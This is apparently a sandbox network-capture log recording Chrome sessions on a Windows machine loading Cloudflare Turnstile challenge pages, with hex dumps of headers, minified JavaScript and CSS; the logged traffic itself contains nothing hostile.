2024-04-24 21:07:36 UTC	1369	IN	Data Raw: 2e 63 6f 6e 63 61 74 28 53 29 29 3b 69 66 28 21 55 29 7b 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 7c 7c 28 5f 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 57 69 64 67 65 74 20 22 2e 63 6f 6e 63 61 74 28 53 2c 22 2c 20 63 6f 6e 73 69 64 65 72 20 75 73 69 6e 67 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 6d 6f 76 65 28 29 20 74 6f 20 63 6c 65 61 6e 20 75 70 20 61 20 77 69 64 67 65 74 2e 22 29 29 2c 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 3d 21 30 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 28 64 2e 69 73 45 78 65 63 75 74 69 6e 67 7c 7c 21 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 7c 7c 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 26 26 21 64 2e 69 73 53 74 61 Data Ascii: .concat(S));if(!U){d.watchcat.missingWidgetWarning\|\|(_("Cannot find Widget ".concat(S,", consider using turnstile.remove() to clean up a widget.")),d.watchcat.missingWidgetWarning=!0);continue}if((d.isExecuting\|\|!d.isInitialized\|\|d.isInitialized&&!d.isSta
2024-04-24 21:07:36 UTC	1369	IN	Data Raw: 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 73 74 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 72 29 7b 76 61 Data Ascii: eyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}function st(e,r){var t="https://challenges.cloudflare.com";if(r){va
2024-04-24 21:07:36 UTC	1369	IN	Data Raw: 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 33 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3e 72 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 72 29 3a 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 4a 74 28 65 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 69 66 28 21 74 7c 7c 74 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 42 4f 44 59 22 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 76 61 72 20 75 3d 31 2c 73 3d 74 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 73 3b 29 73 2e 74 61 67 4e 61 6d 65 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 26 26 75 2b 2b 2c 73 3d 73 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e Data Ascii: ments.length>1&&arguments[1]!==void 0?arguments[1]:3;return e.length>r?e.substring(0,r):e};function Jt(e){var r=function(t,o){if(!t\|\|t.tagName==="BODY")return o;for(var u=1,s=t.previousElementSibling;s;)s.tagName===t.tagName&&u++,s=s.previousElementSiblin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49724	104.17.2.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:37 UTC	791	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://jcq36.einewomi.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:37 UTC	1274	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:07:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cross-origin-resource-policy: cross-origin document-policy: js-profiling origin-agent-cluster: ?1 referrer-policy: same-origin critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin
2024-04-24 21:07:37 UTC	204	IN	Data Raw: 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 76 61 72 79 3a 20 61 63 63 65 70 74 2d 65 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 39 39 31 30 35 66 35 61 35 65 30 39 66 37 2d 4c 41 53 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0vary: accept-encodingServer: cloudflareCF-RAY: 8799105f5a5e09f7-LASalt-svc: h3=":443"; ma=86400
2024-04-24 21:07:37 UTC	1369	IN	Data Raw: 31 39 31 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c Data Ascii: 191f<!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scal
2024-04-24 21:07:37 UTC	1369	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 72 6f 62 6f 74 6f 2c 20 6f 78 79 67 65 6e 2c 20 75 62 75 6e 74 75 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 Data Ascii: kground-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple-system, system-ui, blinkmacsystemfont, "Segoe UI", roboto, oxygen, ubuntu, "Helvetica Neue", arial, sans-ser
2024-04-24 21:07:37 UTC	1369	IN	Data Raw: 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 2e 30 38 35 2c 20 30 2e 36 38 2c 20 30 2e 35 33 29 20 62 6f 74 68 3b 0a 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 66 38 66 38 66 38 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 2e 70 31 20 Data Ascii: px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0.085, 0.68, 0.53) both; stroke-width: 6px; stroke: #f8f8f8; stroke-miterlimit: 10;}#success-icon .p1
2024-04-24 21:07:37 UTC	1369	IN	Data Raw: 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 Data Ascii: lenge-error-text a:active,.theme-dark #challenge-error-text a:focus { color: #949494;}.theme-dark .ctp-checkbox-label .mark { border: 2px solid #dadada; background-color: #222;}.theme-dark .ctp-checkbox-label input:focus ~ .mark, .theme-dark .c
2024-04-24 21:07:37 UTC	963	IN	Data Raw: 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 2c 20 2e 74 68 Data Ascii: rder-color: #666; background-color: #222;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-link,.theme-dark #fr-helper-loop-link { color: #bbb;}.theme-dark #fr-helper-link:visited, .th
2024-04-24 21:07:37 UTC	1369	IN	Data Raw: 32 30 64 33 0d 0a 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 76 65 72 6c 61 79 20 7b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f Data Ascii: 20d3imeout-refresh-link:hover, .theme-dark #timeout-refresh-link:focus,.theme-dark #expired-refresh-link:active,.theme-dark #expired-refresh-link:hover,.theme-dark #expired-refresh-link:focus { color: #949494;}.theme-dark .overlay { border-colo
2024-04-24 21:07:37 UTC	1369	IN	Data Raw: 20 30 2e 34 35 2c 20 31 29 20 30 2e 38 73 20 66 6f 72 77 61 72 64 73 3b 0a 7d 0a 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 31 70 78 3b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 33 37 70 78 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 20 7b 0a 20 20 70 6f 73 Data Ascii: 0.45, 1) 0.8s forwards;}.ctp-checkbox-container { display: flex; align-items: center; margin-left: 11px; cursor: pointer; text-align: left;}.ctp-checkbox-label { cursor: pointer; padding-left: 37px;}.ctp-checkbox-label input { pos
2024-04-24 21:07:37 UTC	1369	IN	Data Raw: 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 3a 3a 61 66 74 65 72 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0a 7d 0a 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 20 7b 0a 20 20 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d Data Ascii: ctp-checkbox-label .mark::after { position: absolute; border-radius: 5px; content: "";}.size-compact { font-size: 13px;}.size-compact .ctp-checkbox-label .mark { left: 15px;}.size-compact .ctp-checkbox-label input { left: 15px;}.size-
2024-04-24 21:07:37 UTC	1369	IN	Data Raw: 70 3a 20 39 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 31 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 32 70 78 3b 0a 7d 0a 0a 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 72 6f 77 2d 72 65 76 65 72 73 65 20 6e 6f 77 72 61 70 3b 0a 20 20 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 66 6c 65 78 2d 65 6e 64 3b 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 70 78 3b 0a 7d 0a 0a 2e 72 74 6c 20 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 70 61 64 64 69 6e 67 Data Ascii: p: 9px; margin-left: 11px;}.size-compact #challenge-error { margin: 0 2px;}.ctp-label { display: flex; flex-flow: row-reverse nowrap; place-content: center flex-end; align-items: center; padding-left: 2px;}.rtl .ctp-label { padding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49725	104.17.2.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:37 UTC	710	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8799105f5a5e09f7 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:38 UTC	358	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:07:38 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Server: cloudflare CF-RAY: 87991063ec9f0adb-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 21:07:38 UTC	281	IN	Data Raw: 31 31 32 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 78 2c 66 45 2c 66 46 2c 66 4a 2c 66 4b 2c 66 4c 2c 66 50 2c 66 51 2c 66 55 2c 66 57 2c 66 58 2c 66 59 2c 66 5a 2c 67 30 2c 67 31 2c 67 32 2c 67 33 2c 67 34 2c 67 35 2c 67 36 2c 67 37 2c 67 38 2c 67 39 2c 67 61 2c 67 62 2c 67 63 2c 67 64 2c 67 65 2c 67 66 2c 67 67 2c 67 68 2c 67 69 2c 67 6a 2c 67 6b 2c 67 6c 2c 67 6d 2c 67 6e 2c 67 6f 2c 67 70 2c 67 71 2c 67 72 2c 67 73 2c 67 74 2c 67 75 2c 67 76 2c 67 77 2c 67 78 2c 67 79 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 53 2c 68 34 2c 68 68 2c 68 6d 2c 68 Data Ascii: 112window._cf_chl_opt.uaO=false;~function(ix,fE,fF,fJ,fK,fL,fP,fQ,fU,fW,fX,fY,fZ,g0,g1,g2,g3,g4,g5,g6,g7,g8,g9,ga,gb,gc,gd,ge,gf,gg,gh,gi,gj,gk,gl,gm,gn,go,gp,gq,gr,gs,gt,gu,gv,gw,gx,gy,gz,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gS,h4,hh,hm,h
2024-04-24 21:07:38 UTC	1369	IN	Data Raw: 31 64 34 31 0d 0a 34 2c 69 31 2c 69 32 29 7b 66 6f 72 28 69 78 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 69 77 2c 65 2c 66 29 7b 66 6f 72 28 69 77 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 69 77 28 39 30 31 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 69 77 28 31 30 31 39 29 29 2f 32 2a 28 70 61 72 73 65 49 6e 74 28 69 77 28 32 30 38 36 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 31 36 33 35 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 69 77 28 32 30 38 31 29 29 2f 35 29 2b 70 61 72 73 65 49 6e 74 28 69 77 28 31 30 32 34 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 32 38 32 37 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 69 77 28 32 39 36 31 29 29 2f 38 2a 28 70 61 72 73 65 49 Data Ascii: 1d414,i1,i2){for(ix=b,function(c,d,iw,e,f){for(iw=b,e=c();!![];)try{if(f=parseInt(iw(901))/1+parseInt(iw(1019))/2(parseInt(iw(2086))/3)+-parseInt(iw(1635))/4(parseInt(iw(2081))/5)+parseInt(iw(1024))/6+-parseInt(iw(2827))/7+parseInt(iw(2961))/8*(parseI
2024-04-24 21:07:38 UTC	1369	IN	Data Raw: 4b 5b 69 78 28 39 35 31 29 5d 3d 27 49 27 2c 66 4c 3d 66 4b 2c 66 45 5b 69 78 28 31 30 33 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 2c 69 50 2c 6f 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 69 66 28 69 50 3d 69 78 2c 6f 3d 7b 27 78 46 78 53 54 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 48 3d 3d 3d 47 7d 2c 27 71 4e 44 46 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 6a 4d 4f 4e 43 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 28 48 29 7d 2c 27 73 69 63 52 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 3d 48 7d 2c 27 4d 4c 56 44 73 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 Data Ascii: K[ix(951)]='I',fL=fK,fE[ix(1035)]=function(g,h,i,j,iP,o,x,B,C,D,E,F){if(iP=ix,o={'xFxST':function(G,H){return H===G},'qNDFm':function(G,H){return G+H},'jMONC':function(G,H){return G(H)},'sicRo':function(G,H){return G===H},'MLVDs':function(G,H,I){return G(
2024-04-24 21:07:38 UTC	1369	IN	Data Raw: 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 69 52 28 34 37 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 73 2c 69 53 29 7b 72 65 74 75 72 6e 20 69 53 3d 69 52 2c 6b 5b 69 53 28 33 31 30 34 29 5d 28 27 6f 2e 27 2c 73 29 7d 29 7d 2c 66 45 5b 69 78 28 33 30 35 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 54 2c 64 2c 65 2c 66 2c 67 29 7b 69 54 3d 69 78 2c 64 3d 7b 7d 2c 64 5b 69 54 28 32 38 37 39 29 5d 3d 69 54 28 33 30 30 39 29 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 66 45 5b 69 54 28 31 37 33 37 29 5d 5b 69 54 28 32 35 35 38 29 5d 28 32 3c 3c 66 2c 33 32 29 2c 66 45 5b 69 54 28 31 39 32 39 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 55 29 7b 69 55 3d 69 54 2c 66 45 5b 65 5b 69 55 28 32 38 37 39 29 5d 5d 26 26 28 66 45 5b 69 55 28 32 32 37 30 29 5d 5b 69 55 28 Data Ascii: lse h[n]=i[l[m]][iR(477)](function(s,iS){return iS=iR,k[iS(3104)]('o.',s)})},fE[ix(3059)]=function(iT,d,e,f,g){iT=ix,d={},d[iT(2879)]=iT(3009),e=d,f=1,g=1e3*fE[iT(1737)][iT(2558)](2<<f,32),fE[iT(1929)](function(iU){iU=iT,fE[e[iU(2879)]]&&(fE[iU(2270)][iU(
